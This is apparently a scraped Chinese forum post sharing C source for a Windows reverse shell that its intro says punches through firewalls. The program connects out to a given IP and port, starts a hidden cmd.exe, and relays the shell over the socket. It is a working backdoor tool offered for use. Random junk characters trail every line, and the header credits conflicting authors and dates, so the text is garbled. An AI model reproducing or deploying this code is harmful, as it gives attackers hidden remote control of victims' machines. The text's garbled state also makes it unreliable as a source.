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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 `hB1b["(  
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/* ============================== n+2J Dq|?p  
Rebound port in Windows NT {w`:KR6o7  
By wind,2006/7 [ug,jEH"S  
===============================*/ ipKG!  
#include \k&1*b?h  
#include a5`eyL[f  
|#5 e|z5(  
#pragma comment(lib,"wsock32.lib") ;MTz]c  
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void OutputShell(); zJ& b|L  
SOCKET sClient; WBppKj_M  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n";  5) lW  
W$\X~Q'0  
void main(int argc,char **argv) fB#XhO  
{ !jh%}JJ  
WSADATA stWsaData; 5A_4\YpDR  
int nRet; `n-vjjG%#  
SOCKADDR_IN stSaiClient,stSaiServer; I 8Y*@$h  
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if(argc != 3) dhR(_  
{ Z}cIA87U  
printf("Useage:\n\rRebound DestIP DestPort\n"); lg/sMF>z\f  
return; q=Xg*PM,  
} j|'R$|  
{},;-%xE  
WSAStartup(MAKEWORD(2,2),&stWsaData); Sr y,@p)  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,8 SWe  
lpEDPvD_Vm  
stSaiClient.sin_family = AF_INET; kHU"AD}.  
stSaiClient.sin_port = htons(0); _Dq Qfc%  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ,hE/II`-d'  
M9V-$ _)  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ch,|1}bi  
{ .S vyj  
printf("Bind Socket Failed!\n"); }V^e7d  
return; WV_`1hZX  
} F RH&B5w  
lYQtv=q  
stSaiServer.sin_family = AF_INET; 44C+h    
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); )W9_qmYd"  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); >rRf9wO1l  
H%.zXQ4}n  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) .98.G4J>  
{ ul}'{|4  
printf("Connect Error!"); u:4["ViC  
return; tyXl}$)y  
} #Go(tS~o  
OutputShell(); W]LQ &f  
} Z ps&[;R$-  
:_c*m@=z(  
void OutputShell() W'G{K\(/  
{ %1jdiHTaL  
char szBuff[1024]; #uWE2*')  
SECURITY_ATTRIBUTES stSecurityAttributes; u`p_.n:5)  
OSVERSIONINFO stOsversionInfo; Qu_EfmN|  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; /oDpgOn  
STARTUPINFO stStartupInfo; 9qeZb%r&  
char *szShell; "8t\MKt(  
PROCESS_INFORMATION stProcessInformation; J8h7e}n?  
unsigned long lBytesRead; B "n`|;r5  
rU*q@y Px  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 9UmBm#"  
>x?2Fz.  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); \L#QR  
stSecurityAttributes.lpSecurityDescriptor = 0; }*-u$=2  
stSecurityAttributes.bInheritHandle = TRUE; 5vGioO  
Riq|w+Q  
xK!DtRzsA  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); E(/ sXji!  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 104!!m  
: ~'Z(-a  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); S2}Z&X(  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZV#$Z  
stStartupInfo.wShowWindow = SW_HIDE; 4@~a<P#  
stStartupInfo.hStdInput = hReadPipe; afy/K'~  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; SEU\}Ni{  
K!7q!%Ju  
GetVersionEx(&stOsversionInfo); @{bb'q['@  
5h(jeT8"  
switch(stOsversionInfo.dwPlatformId) *zSxG[s  
{ . z].:$J&  
case 1: \CtQ*[FmN  
szShell = "command.com"; ,7I},sZj   
break; /b+;: z  
default: NE[y|/  
szShell = "cmd.exe"; 0&B:\  
break; YME[%c2x  
} RK;;b~  
%6Rp,M9=  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); EJ8I[(  
z1}1*F"  
send(sClient,szMsg,77,0); @4@PuWI0-  
while(1) <hMtE/05B  
{ Z{#"-UG  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); NJ>,'s  
if(lBytesRead) Za9$Hh/X  
{ . o"<N  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); @4&, #xo  
send(sClient,szBuff,lBytesRead,0); p~FQcW'a~  
} ~ ;XYwQ"  
else >Pyc[_j  
{ @bY?$fj_u  
lBytesRead=recv(sClient,szBuff,1024,0); c G*(C  
if(lBytesRead<=0) break; 5Fr;  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 1M=   
} iW;}%$lVX  
} dWjx"7^  
"kU>~~y,  
return; ~r PYJ  
}
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